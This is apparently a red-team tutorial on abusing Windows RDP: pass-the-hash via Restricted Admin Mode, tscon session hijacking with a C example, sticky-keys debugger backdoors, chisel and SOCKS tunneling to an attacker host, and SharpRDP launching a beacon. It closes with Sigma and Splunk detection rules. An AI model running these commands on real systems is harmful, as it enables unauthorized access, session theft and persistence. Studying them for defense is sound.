RDP and Remote Desktop Abuse
Lateral movement via RDP: Pass-the-Hash with restricted admin mode, RDP session hijacking via tscon, sticky keys backdoor persistence, RDP tunneling through SSH/SOCKS, and SharpRDP for silent keystrokes
During discovery you find a Windows Server 2019 box running RDP with Restricted Admin Mode enabled. You have the local administrator's NTLM hash from a previous LSASS dump. Restricted Admin Mode allows RDP authentication using just the hash — no cleartext password needed. You use mstsc /restrictedadmin with a pass-the-hash approach via Mimikatz's sekurlsa::pth, land an interactive desktop session, and discover a second admin account logged in as a disconnected RDP session. Using tscon from a SYSTEM shell, you silently hijack that session without a password and gain access to that user's running applications and credentials.
RDP Attack Surface
Pass-the-Hash via Restricted Admin Mode
# Restricted Admin Mode: RDP with NTLM hash — no plaintext password needed
# Requires: target has RestrictedAdminMode enabled (registry key)
# And caller has local admin access (using the hash)
# Check if Restricted Admin Mode is enabled on target:
reg query \\TARGET01\HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin
# 0x0 = enabled (good for attacker)
# Enable it on target (if you have RCE):
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
# Mimikatz: inject hash into a new logon session, launch mstsc with Restricted Admin
mimikatz# sekurlsa::pth /user:administrator /domain:corp.local /ntlm:fc525c96... /run:"mstsc /restrictedadmin /v:TARGET01"
# xfreerdp from Linux — Pass-the-Hash (requires restricted admin mode on target):
xfreerdp /u:administrator /pth:fc525c9673cfc2a1c2c48ff13fdbe6d1 /v:TARGET01 /cert-ignore
# Kerberos Pass-the-Ticket RDP (use TGT directly):
# 1. Get TGT (Rubeus, steal, or generate)
# 2. Inject into memory: Rubeus ptt /ticket:base64ticket
# 3. RDP normally using Kerberos (mstsc should pick up the ticket)
# impacket rdp_check.py — verify RDP credentials:
rdp_check.py 'corp.local/administrator:Password1!@TARGET01'
RDP Session Hijacking (tscon)
# RDP session hijack — steal a disconnected user's session without their password
# Requirements: SYSTEM privileges on the target host
# Why it works: SYSTEM can call tscon (Terminal Server Connect) to any session
# without requiring the session's credentials
# Step 1: List active and disconnected sessions
query user /server:TARGET01
# Output:
# USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
# administrator rdp-tcp#3 2 Active 00:02 9/13 08:00
# jdoe console 3 Disc 1:45 9/12 20:00 ← disconnected
# Step 2: Elevate to SYSTEM (from local admin)
# Use PsExec as SYSTEM, or from a SYSTEM shell via service/token impersonation
PsExec64.exe -s cmd.exe # now running as SYSTEM
# Step 3: Hijack session 3 (jdoe's disconnected RDP session)
tscon 3 /dest:rdp-tcp#3
# This transfers session 3 (jdoe) to your current RDP connection
# You are now in jdoe's desktop session
# jdoe's applications, credentials, clipboard are now yours
# No password required — SYSTEM can move sessions freely
# Programmatic version (C):
// Hijack RDP session via WTSConnectSession (requires SYSTEM)
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32.lib")
BOOL HijackRDPSession(DWORD targetSessionId) {
// Must be SYSTEM — elevate via token manipulation first
DWORD activeSession = WTSGetActiveConsoleSessionId();
// Connect target session to current session
BOOL ok = WTSConnectSession(targetSessionId, activeSession, L"", FALSE);
if (!ok) {
wprintf(L"[-] WTSConnectSession failed: %lu\n", GetLastError());
}
return ok;
// Caller is now in targetSession's desktop context
// All processes, credentials, clipboard from that session are accessible
}
Sticky Keys Backdoor (Pre-Auth RDP Execution)
# Sticky Keys (Shift x5) triggers C:\Windows\System32\sethc.exe at login screen
# Replace sethc.exe with cmd.exe → press Shift 5 times at RDP login → SYSTEM shell
# Classic technique, heavily flagged by modern EDRs on sethc.exe modification
# Variants: Utilman.exe (Windows+U), osk.exe, narrator.exe, magnify.exe
# Method 1: Direct replacement (requires SYSTEM or TrustedInstaller for protected files)
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant administrators:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
# Method 2: Registry debugger hijack (doesn't touch sethc.exe binary)
# Add Image File Execution Options debugger — runs cmd.exe as sethc.exe's debugger
# No file modification needed
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" ^
/v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# To activate: connect to RDP, at login screen press Shift 5 times
# A SYSTEM cmd.exe appears without authentication
# Works even if WinRM/SMB is blocked — only needs TCP/3389
# Cleanup: remove the registry key
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
# Detection: HKLM\...\Image File Execution Options\* — Debugger set on accessibility binaries
# is a well-known persistence/backdoor indicator
RDP Tunneling
# Scenario: target RDP is not directly reachable — route through compromised host
# Method 1: SSH port forward (via compromised Linux host)
ssh -L 13389:TARGET01:3389 pivot@PIVOT_HOST
mstsc /v:127.0.0.1:13389
# Method 2: Chisel (HTTP tunnel) — forward RDP through HTTP
# On attacker:
chisel server -p 8080 --reverse
# On compromised host (runs chisel client):
chisel client http://attacker:8080 R:13389:TARGET01:3389
# Now connect: mstsc /v:attacker:13389
# Method 3: Via SOCKS5 proxy on compromised host + proxychains
# Compromised host runs: sshd (or plink, or chisel)
proxychains mstsc /v:TARGET01 # (doesn't work natively with mstsc)
# Use xfreerdp which supports SOCKS proxy:
xfreerdp /proxy:socks5://127.0.0.1:1080 /v:TARGET01 /u:admin /p:pass
# Method 4: Cobalt Strike / Sliver built-in SOCKS proxy
# Team server proxies RDP through the beacon's connection
rportfwd 13389 TARGET01 3389 # CS: bind 13389 on teamserver, forward to target:3389
SharpRDP — Silent Scriptable RDP
# SharpRDP: execute commands on RDP-accessible hosts without GUI interaction
# Sends keystrokes via RDP protocol to run a command (no shell visible to user)
# Useful: target allows RDP but not WMI/PSRemoting/SMB
SharpRDP.exe computername=TARGET01 username=corp\admin password=Password1! command="C:\Windows\Temp\beacon.exe"
# How it works:
# 1. Connects via RDP (uses FreeRDP .NET bindings)
# 2. After authentication, injects keystrokes: Win+R → cmd.exe →
# 3. Session briefly becomes active, command runs, session disconnects
# 4. Target user (if watching) may notice a brief screen flash
# Variant: execute via task scheduler (no visible window)
SharpRDP.exe computername=TARGET01 username=admin password=pass \
command="schtasks /create /tn update /sc once /st 00:00 /tr C:\tmp\beacon.exe /ru SYSTEM /f"
# Detection: RDP logon (Event 4624 Type 10) followed by very brief session
# (connected < 5 seconds) with no typical user applications launched
Detection Engineering
-- RDP lateral movement detection
-- 1. Event 4624 LogonType=10 (Remote Interactive / RDP)
-- from unexpected source → destination
-- 2. tscon execution (session hijacking)
-- 3. Image File Execution Options debugger on accessibility binaries
-- 4. Restricted Admin Mode RDP (LogonType=3 from mstsc — no interactive session)
-- Sigma: Session hijacking via tscon
title: RDP Session Hijacking via tscon
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\tscon.exe'
User|contains: 'SYSTEM'
condition: selection
level: high
-- Sigma: Sticky Keys / Accessibility Tool Debugger Backdoor
title: Accessibility Tool Debugger Hijack (Sticky Keys Backdoor)
logsource:
product: windows
category: registry_set
detection:
selection:
TargetObject|contains: '\Image File Execution Options\'
TargetObject|endswith:
- '\sethc.exe\Debugger'
- '\utilman.exe\Debugger'
- '\osk.exe\Debugger'
- '\narrator.exe\Debugger'
- '\magnify.exe\Debugger'
condition: selection
level: critical
-- Splunk: Detect Pass-the-Hash RDP (Restricted Admin logon appears as Type 3, not Type 10)
index=wineventlog source=Security EventCode=4624
| where LogonType==3 AND AuthenticationPackage=="NTLM"
| where ProcessName LIKE "%mstsc%"
| stats count by AccountName, WorkstationName, IpAddress
| where count > 3
Q&A
What is Restricted Admin Mode for RDP and why does it allow Pass-the-Hash?
Normally, when you authenticate via RDP, your cleartext credentials (or a Kerberos TGT derived from them) are sent to the target host and stored in memory there. This allows the remote session to access further network resources using your identity — but it also means your credentials sit in LSASS on the target. Restricted Admin Mode, introduced in Windows 8.1/2012 R2, changes how the RDP logon works: instead of sending credentials to the target, the connection authenticates as the machine account or using the NTLM hash, and creates a logon session with no network credentials stored on the remote host. From an administrator's perspective, this prevents credential theft from the target: your cleartext credentials never land on the remote server. From an attacker's perspective, it enables Pass-the-Hash for RDP: because the authentication uses the NTLM challenge-response (which requires only the hash, not the password), having the NTLM hash is sufficient to open an RDP session. Tools like xfreerdp with /pth: flag, or Mimikatz's sekurlsa::pth launching mstsc with /restrictedadmin, exploit this. The feature must be enabled on the target (DisableRestrictedAdmin registry value = 0). It's commonly enabled in environments following Microsoft's Admin Tier isolation guidelines, ironically making those security-conscious environments more susceptible to hash-based RDP attacks.